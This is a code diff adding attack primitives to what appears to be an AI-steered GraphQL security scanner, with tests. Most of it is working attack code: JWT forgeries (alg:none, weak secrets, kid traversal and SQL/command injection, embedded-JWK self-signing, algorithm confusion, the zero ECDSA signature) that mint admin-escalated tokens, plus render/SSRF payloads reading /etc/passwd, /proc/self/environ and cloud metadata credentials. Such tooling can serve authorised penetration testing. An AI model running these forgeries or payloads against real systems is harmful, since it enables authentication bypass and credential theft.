Attacks batch1 primitives

gradientql/scanner/actions/arsenal.py

@@ -177,14 +177,16 @@ def _forge_weak_secret_dictionary(ctx: ActionContext, claims: dict | None) -> st
     from ...utils import jwt_attacks
 
     base: dict = {}
+    base_header: dict = {}
     for tok in ctx.harvested.get("jwt", []):
         base = jwt_attacks.decode_payload(tok) or base
         if base:
+            base_header = jwt_attacks.decode_header(tok)  # preserve the real token's typ/cty
             break
     if isinstance(claims, dict):
         base = {**base, **claims}
 
-    candidates = jwt_attacks.forged_tokens("jwt_weak_secret", base)
+    candidates = jwt_attacks.forged_tokens("jwt_weak_secret", base, base_header)
     if not candidates:
         return "weak_secret: no candidates minted (internal error)"
     rejected: list[str] = []

gradientql/scanner/actions/fuzz.py

@@ -21,6 +21,21 @@
 # Classes that reach an outbound server-side fetch, so an OOB callback URL is worth injecting.
 _OOB_CLASSES = ("ssrf", "render", "crlf")
 
+# A render sink that takes a URL argument must receive the raw OOB URL, not an `<iframe src=...>`
+# wrapper - a bare URL field can't fetch an HTML string. Route the OOB render probe by arg name.
+_URL_ARG_HINTS = ("url", "uri", "src", "href", "link", "webhook", "callback", "redirect",
+                  "endpoint", "fetch", "image", "img", "avatar", "logo", "remote", "site")
+_HTML_ARG_HINTS = ("html", "template", "markup", "body", "content", "markdown", "svg", "render", "source")
+
+
+def _render_vector(arg: str, url: str) -> tuple[str, str]:
+    """Pick the render/SSRF payload for `arg`: a raw OOB URL for a URL-input sink, an HTML
+    fragment for a markup-input sink (or an unknown arg, conservatively)."""
+    a = str(arg).lower()
+    if any(h in a for h in _URL_ARG_HINTS) and not any(h in a for h in _HTML_ARG_HINTS):
+        return ("ssrf", url)
+    return ("render", f"<iframe src='{url}'></iframe>")
+
 _CANARY = "FZc4n4ry7q"
 _MAX_PAYLOADS = 14
 _NON_INJECTABLE_SCALARS = {"Int", "Float", "Boolean"}
@@ -173,7 +188,7 @@ def handle_fuzz(ctx: ActionContext, args: dict) -> Result:
         try:
             url, _label = ctx.oob_sess.issue({"approach": "fuzz", "node": label})
             if oob_cls == "render":
-                payloads.append(("render", f"<iframe src='{url}'></iframe>"))
+                payloads.append(_render_vector(arg, url))
             elif oob_cls == "crlf":
                 payloads.append(("crlf", f"gqlcrlf\r\nLocation: {url}"))
             else:

gradientql/scanner/arsenal_tools.py

@@ -74,26 +74,28 @@ def tool_forge_jwt(approach: str, secret: str | None, claims: dict | None,
     """
     from ..utils import jwt_attacks
     base: dict[str, Any] = {}
+    base_header: dict[str, Any] = {}
     for tok in harvested.get("jwt", []):
         base = jwt_attacks.decode_payload(tok) or base
         if base:
+            base_header = jwt_attacks.decode_header(tok)  # preserve the real token's typ/cty
             break
     if isinstance(claims, dict):
         base = {**base, **claims}
     a = (approach or "none").lower()
     if "confus" in a or "rs256" in a or "alg_conf" in a:
-        return jwt_attacks.forge_alg_confusion(secret or "", base)
+        return jwt_attacks.forge_alg_confusion(secret or "", base, base_header)
     if "jwk" in a:
-        return jwt_attacks.forge_jwk_injection(base)
+        return jwt_attacks.forge_jwk_injection(base, base_header)
     if "psychic" in a or "zero" in a or "r=s" in a:
-        return jwt_attacks.forge_psychic(base)
+        return jwt_attacks.forge_psychic(base, base_header=base_header)
     if "kid" in a and ("sql" in a or "inject" in a or "command" in a):
-        return jwt_attacks.forge_kid_injection(base, "command" if "command" in a else "sqli")
+        return jwt_attacks.forge_kid_injection(base, "command" if "command" in a else "sqli", base_header)
     if "weak" in a or "secret" in a:
-        return jwt_attacks.forge_hs256(secret or "secret", base)
+        return jwt_attacks.forge_hs256(secret or "secret", base, base_header)
     if "kid" in a:
-        return jwt_attacks.forge_kid_traversal(base)
-    return jwt_attacks.forge_none(base)
+        return jwt_attacks.forge_kid_traversal(base, base_header)
+    return jwt_attacks.forge_none(base, base_header)
 
 
 def tool_smuggle(target_url: str) -> tuple[bool, str]:

gradientql/scanner/coverage.py

@@ -60,6 +60,28 @@ def high_value_fields(schema_map: dict[str, Any]) -> set[str]:
     return {f for info in high_value_targets(schema_map).values() for f in info["fields"]}
 
 
+def polymorphic_types(schema_map: dict[str, Any]) -> dict[str, list[str]]:
+    """Map each interface/union type to its concrete member types.
+
+    An inline fragment `... on <member> { field }` on an interface/union-typed field can reach a
+    field whose authorization is enforced on the concrete type but not the abstract path - a
+    broken-access-control lead. Reads `_type_kinds`/`_possible_types` (which survive a checkpoint
+    resume) rather than the `_interfaces`/`_unions` sets (JSON-serialized to lists on resume).
+    """
+    out: dict[str, list[str]] = {}
+    kinds = schema_map.get("_type_kinds")
+    if not isinstance(kinds, dict):
+        return out
+    for tname, kind in kinds.items():
+        if kind not in ("INTERFACE", "UNION"):
+            continue
+        node = schema_map.get(tname)
+        members = node.get("_possible_types") if isinstance(node, dict) else None
+        if members:
+            out[str(tname)] = [m for m in members if isinstance(m, str)]
+    return out
+
+
 def bfla_sensitive_fields(schema_map: dict[str, Any]) -> set[str]:
     return {f for label, info in high_value_targets(schema_map).items()
             if label in _BFLA_AUTORECORD for f in info["fields"]}

gradientql/scanner/payloads.py

@@ -42,11 +42,19 @@
 # server-side browser. file:// reads local files (auto-confirmed when /etc/passwd content reflects);
 # the iframe/img/link probes fetch internal/metadata URLs (confirm via the OOB URL fuzz also injects).
 RENDER_PROBES: list[str] = [
+    # direct file:// reads (auto-confirmed when the file's content reflects)
     "file:///etc/passwd",
     "file:///c:/windows/win.ini",
+    "file://localhost/etc/passwd",
+    "file:///proc/self/environ",
+    # HTML sub-resource vectors different render engines follow (confirm via reflected content or OOB)
     "<iframe src='file:///etc/passwd'></iframe>",
-    "<img src='http://169.254.169.254/latest/meta-data/iam/security-credentials/'>",
+    "<embed src='file:///etc/passwd'>",
+    "<object data='file:///etc/passwd'></object>",
     "<link rel=attachment href='file:///etc/passwd'>",
+    "<svg xmlns='http://www.w3.org/2000/svg'><image href='file:///etc/passwd'/></svg>",
+    "<style>@import 'file:///etc/passwd';</style>",
+    "<img src='http://169.254.169.254/latest/meta-data/iam/security-credentials/'>",
     "<x><![CDATA[]]></x><iframe src=file:///etc/passwd>",
 ]
 

gradientql/scanner/prompt.py

@@ -352,6 +352,13 @@ def build_prompt(ctx: dict[str, Any]) -> str:
                          int(ctx.get("findings", 0)), total_root=total_root,
                          untouched_sweepable=untouched_sweepable, require_args=require_args)
     high_value = render_high_value(sm, ledger) or "  (none detected for this schema)"
+    from .coverage import polymorphic_types
+    poly = polymorphic_types(sm)
+    if poly:
+        poly_lines = "; ".join(f"{t} -> [{', '.join(members[:6])}]"
+                               for t, members in list(poly.items())[:8])
+        high_value += ("\n  interface/union types (INTERFACE/UNION authz bypass: spread `... on <Member>` "
+                       f"to reach fields blocked on the concrete path): {poly_lines}")
     ident = ", ".join(ctx["identity"].keys()) or "anonymous (no auth)"
     steering = ctx.get("steering") or []
     steer_block = ""

gradientql/utils/jwt_attacks.py

@@ -36,6 +36,32 @@ def decode_payload(token: str) -> dict[str, Any]:
         return {}
 
 
+def decode_header(token: str) -> dict[str, Any]:
+    """Decode a JWT's header without verifying, or {} if it cannot be parsed."""
+    try:
+        seg = token.split(".")[0]
+        seg += "=" * (-len(seg) % 4)
+        out = json.loads(base64.urlsafe_b64decode(seg))
+        return out if isinstance(out, dict) else {}
+    except Exception:
+        return {}
+
+
+def _header(alg: str, base_header: dict[str, Any] | None = None, **extra: Any) -> dict[str, Any]:
+    """Build a forgery header for `alg`, preserving `typ`/`cty` from the original token's header.
+
+    A verifier that gates on the header (requires `typ: at+jwt` for access tokens, or rejects
+    anything but `typ: JWT`) would drop a forgery that hardcodes `typ: JWT`; carrying the observed
+    `typ`/`cty` forward lets the forgery survive that check. Falls back to `typ: JWT` when unknown.
+    """
+    h: dict[str, Any] = {"alg": alg, "typ": (base_header or {}).get("typ", "JWT")}
+    cty = (base_header or {}).get("cty")
+    if cty:
+        h["cty"] = cty
+    h.update({k: v for k, v in extra.items() if v is not None})
+    return h
+
+
 def _escalated(base: dict[str, Any] | None = None) -> dict[str, Any]:
     """Copy base claims and overlay admin roles plus fresh iat/exp."""
     now = int(time.time())
@@ -48,24 +74,27 @@ def _escalated(base: dict[str, Any] | None = None) -> dict[str, Any]:
     return p
 
 
-def forge_none(base_payload: dict[str, Any] | None = None) -> str:
-    return f"{_seg({'alg': 'none', 'typ': 'JWT'})}.{_seg(_escalated(base_payload))}."
+def forge_none(base_payload: dict[str, Any] | None = None,
+               base_header: dict[str, Any] | None = None) -> str:
+    return f"{_seg(_header('none', base_header))}.{_seg(_escalated(base_payload))}."
 
 
-def forge_hs256(secret: str, base_payload: dict[str, Any] | None = None) -> str:
-    header = _seg({"alg": "HS256", "typ": "JWT"})
+def forge_hs256(secret: str, base_payload: dict[str, Any] | None = None,
+                base_header: dict[str, Any] | None = None) -> str:
+    header = _seg(_header("HS256", base_header))
     payload = _seg(_escalated(base_payload))
     sig = hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
     return f"{header}.{payload}.{_b64u(sig)}"
 
 
-def forge_kid_traversal(base_payload: dict[str, Any] | None = None) -> str:
+def forge_kid_traversal(base_payload: dict[str, Any] | None = None,
+                        base_header: dict[str, Any] | None = None) -> str:
     """Forge an HS256 token whose kid points at /dev/null, signed with an empty key.
 
     Targets servers that load the HMAC key from the kid path: an empty-file key
     makes the empty-secret signature verify.
     """
-    header = _seg({"alg": "HS256", "typ": "JWT", "kid": "../../../../../../dev/null"})
+    header = _seg(_header("HS256", base_header, kid="../../../../../../dev/null"))
     payload = _seg(_escalated(base_payload))
     sig = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest()
     return f"{header}.{payload}.{_b64u(sig)}"
@@ -81,7 +110,8 @@ def forge_kid_traversal(base_payload: dict[str, Any] | None = None) -> str:
 }
 
 
-def forge_kid_injection(base_payload: dict[str, Any] | None = None, mode: str = "sqli") -> str:
+def forge_kid_injection(base_payload: dict[str, Any] | None = None, mode: str = "sqli",
+                        base_header: dict[str, Any] | None = None) -> str:
     """Forge an HS256 token whose `kid` injects into the server's key lookup (SQLi/command).
 
     The kid is crafted so a backend that does `SELECT key WHERE kid='<kid>'` (or shells out)
@@ -90,12 +120,12 @@ def forge_kid_injection(base_payload: dict[str, Any] | None = None, mode: str =
     """
     m = (mode or "sqli").lower()
     if m == "path":
-        header = _seg({"alg": "HS256", "typ": "JWT", "kid": _KID_PAYLOADS["path"]})
+        header = _seg(_header("HS256", base_header, kid=_KID_PAYLOADS["path"]))
         payload = _seg(_escalated(base_payload))
         sig = hmac.new(b"0\n", f"{header}.{payload}".encode(), hashlib.sha256).digest()
         return f"{header}.{payload}.{_b64u(sig)}"
     kid = _KID_PAYLOADS.get(m, _KID_PAYLOADS["sqli"])
-    header = _seg({"alg": "HS256", "typ": "JWT", "kid": kid})
+    header = _seg(_header("HS256", base_header, kid=kid))
     payload = _seg(_escalated(base_payload))
     sig = hmac.new(_KID_INJECT_KEY.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
     return f"{header}.{payload}.{_b64u(sig)}"
@@ -104,14 +134,15 @@ def forge_kid_injection(base_payload: dict[str, Any] | None = None, mode: str =
 _PSYCHIC_SIG_LEN = {"ES256": 64, "ES384": 96, "ES512": 132}
 
 
-def forge_psychic(base_payload: dict[str, Any] | None = None, alg: str = "ES256") -> str:
+def forge_psychic(base_payload: dict[str, Any] | None = None, alg: str = "ES256",
+                  base_header: dict[str, Any] | None = None) -> str:
     """Forge an ECDSA (ES256/384/512) token with an all-zero r=s=0 signature (CVE-2022-21449).
 
     A verifier on a vulnerable JVM (or any impl that doesn't reject r=0/s=0) treats the
     trivially-forgeable zero signature as valid, so any attacker-crafted token passes.
     """
     a = (alg or "ES256").upper()
-    header = _seg({"alg": a, "typ": "JWT"})
+    header = _seg(_header(a, base_header))
     payload = _seg(_escalated(base_payload))
     sig = _b64u(b"\x00" * _PSYCHIC_SIG_LEN.get(a, 64))
     return f"{header}.{payload}.{sig}"
@@ -138,27 +169,29 @@ def _rs256_sign(message: bytes, d: int, n: int) -> bytes:
     return pow(int.from_bytes(em, "big"), d, n).to_bytes(k, "big")
 
 
-def forge_jwk_injection(base_payload: dict[str, Any] | None = None) -> str:
+def forge_jwk_injection(base_payload: dict[str, Any] | None = None,
+                        base_header: dict[str, Any] | None = None) -> str:
     """Forge an RS256 token that embeds our own public key in the `jwk` header (self-signed).
 
     Verifiers that trust the token's embedded `jwk` instead of a pinned key validate any
     attacker-signed token, so the escalated claims are accepted.
     """
     jwk = {"kty": "RSA", "n": _b64u(_int_to_bytes(_ATTACKER_RSA_N)),
            "e": _b64u(_int_to_bytes(_ATTACKER_RSA_E))}
-    header = _seg({"alg": "RS256", "typ": "JWT", "jwk": jwk})
+    header = _seg(_header("RS256", base_header, jwk=jwk))
     payload = _seg(_escalated(base_payload))
     sig = _rs256_sign(f"{header}.{payload}".encode(), _ATTACKER_RSA_D, _ATTACKER_RSA_N)
     return f"{header}.{payload}.{_b64u(sig)}"
 
 
-def forge_alg_confusion(pubkey_pem: str, base_payload: dict[str, Any] | None = None) -> str:
+def forge_alg_confusion(pubkey_pem: str, base_payload: dict[str, Any] | None = None,
+                        base_header: dict[str, Any] | None = None) -> str:
     """RS256->HS256 confusion: HMAC-sign with the server's RSA public key as the secret.
 
     A verifier that reads `alg` from the token header will HMAC-verify with the (public) RSA
     key it normally uses for RSA verification, so this attacker-signed token validates.
     """
-    return forge_hs256(pubkey_pem, base_payload)
+    return forge_hs256(pubkey_pem, base_payload, base_header)
 
 
 # --- JWKS discovery + JWK->PEM (for RS256->HS256 confusion) ------------------------------------ #
@@ -230,22 +263,41 @@ def fetch_rsa_pubkey_pem(endpoint_url: str, session: Any = None) -> str | None:
     return None
 
 
-def forged_tokens(approach: str, base_payload: dict[str, Any] | None = None) -> list[tuple[str, str]]:
+def forged_tokens(approach: str, base_payload: dict[str, Any] | None = None,
+                  base_header: dict[str, Any] | None = None) -> list[tuple[str, str]]:
     """Return (label, token) pairs for one attack approach, or [] if unknown.
 
-    The weak-secret approach yields one candidate per entry in WEAK_SECRETS.
+    Forgeries preserve the original token's `typ`/`cty` (via `base_header`). When that `typ`
+    is non-standard (not `JWT`), each approach also emits a `typ: JWT` fallback so both a
+    typ-gating and a typ-agnostic verifier are covered. The weak-secret approach yields one
+    candidate per entry in WEAK_SECRETS and is not multiplied by the typ variants.
     """
+    variants: list[dict[str, Any]] = [base_header or {}]
+    orig_typ = (base_header or {}).get("typ")
+    if orig_typ and orig_typ != "JWT":
+        variants.append({**(base_header or {}), "typ": "JWT"})
+
+    def lbl(name: str, h: dict[str, Any]) -> str:
+        return f"{name} typ={h.get('typ', 'JWT')}" if len(variants) > 1 else name
+
+    out: list[tuple[str, str]] = []
     if approach == "jwt_none_alg":
-        return [("alg:none", forge_none(base_payload))]
-    if approach == "jwt_kid_inject":
-        return [("kid:/dev/null", forge_kid_traversal(base_payload))]
-    if approach == "jwt_kid_sqli":
-        return [("kid:sqli", forge_kid_injection(base_payload, "sqli")),
-                ("kid:command", forge_kid_injection(base_payload, "command"))]
-    if approach == "jwt_jwk_inject":
-        return [("jwk:embedded", forge_jwk_injection(base_payload))]
-    if approach == "jwt_psychic":
-        return [("psychic:ES256", forge_psychic(base_payload, "ES256"))]
-    if approach == "jwt_weak_secret":
-        return [(f"hs256:{s}", forge_hs256(s, base_payload)) for s in WEAK_SECRETS]
-    return []
+        for h in variants:
+            out.append((lbl("alg:none", h), forge_none(base_payload, h)))
+    elif approach == "jwt_kid_inject":
+        for h in variants:
+            out.append((lbl("kid:/dev/null", h), forge_kid_traversal(base_payload, h)))
+    elif approach == "jwt_kid_sqli":
+        for h in variants:
+            out.append((lbl("kid:sqli", h), forge_kid_injection(base_payload, "sqli", h)))
+            out.append((lbl("kid:command", h), forge_kid_injection(base_payload, "command", h)))
+    elif approach == "jwt_jwk_inject":
+        for h in variants:
+            out.append((lbl("jwk:embedded", h), forge_jwk_injection(base_payload, h)))
+    elif approach == "jwt_psychic":
+        for h in variants:
+            out.append((lbl("psychic:ES256", h), forge_psychic(base_payload, "ES256", h)))
+    elif approach == "jwt_weak_secret":
+        h = variants[0]  # preserve the observed typ; don't multiply the 17-secret battery
+        out = [(f"hs256:{s}", forge_hs256(s, base_payload, h)) for s in WEAK_SECRETS]
+    return out

tests/test_jwt_attacks.py

@@ -167,3 +167,40 @@ def test_tool_forge_jwt_dispatches_new_approaches():
 def test_forged_tokens_new_lists():
     assert jw.forged_tokens("jwt_psychic") and jw.forged_tokens("jwt_jwk_inject")
     assert len(jw.forged_tokens("jwt_kid_sqli")) == 2
+
+
+def test_decode_header_roundtrip():
+    from gradientql.utils import jwt_attacks
+    h = jwt_attacks.decode_header(jwt_attacks.forge_hs256("secret", {"sub": "1"}))
+    assert h.get("alg") == "HS256" and h.get("typ") == "JWT"
+    assert jwt_attacks.decode_header("not-a-jwt") == {}
+
+
+def test_forgeries_preserve_captured_typ_and_cty():
+    from gradientql.utils import jwt_attacks
+    bh = {"alg": "RS256", "typ": "at+jwt", "cty": "example"}
+    for tok in (jwt_attacks.forge_none(None, bh),
+                jwt_attacks.forge_hs256("s", None, bh),
+                jwt_attacks.forge_jwk_injection(None, bh),
+                jwt_attacks.forge_psychic(None, "ES256", bh),
+                jwt_attacks.forge_kid_traversal(None, bh),
+                jwt_attacks.forge_kid_injection(None, "sqli", bh)):
+        h = jwt_attacks.decode_header(tok)
+        assert h["typ"] == "at+jwt" and h.get("cty") == "example"
+    # default (no base header) still yields typ:JWT and no cty
+    h0 = jwt_attacks.decode_header(jwt_attacks.forge_none())
+    assert h0["typ"] == "JWT" and "cty" not in h0
+
+
+def test_forged_tokens_typ_variation():
+    from gradientql.utils import jwt_attacks
+    # a non-standard typ emits BOTH the preserved typ and a JWT fallback
+    cands = jwt_attacks.forged_tokens("jwt_none_alg", {"sub": "1"}, {"typ": "at+jwt"})
+    assert sorted(jwt_attacks.decode_header(t)["typ"] for _, t in cands) == ["JWT", "at+jwt"]
+    # standard / no header -> single candidate, original label unchanged (back-compat)
+    plain = jwt_attacks.forged_tokens("jwt_none_alg", {"sub": "1"})
+    assert len(plain) == 1 and plain[0][0] == "alg:none"
+    # the weak-secret battery is not multiplied by typ variants
+    weak = jwt_attacks.forged_tokens("jwt_weak_secret", {"sub": "1"}, {"typ": "at+jwt"})
+    assert len(weak) == len(jwt_attacks.WEAK_SECRETS)
+    assert all(jwt_attacks.decode_header(t)["typ"] == "at+jwt" for _, t in weak)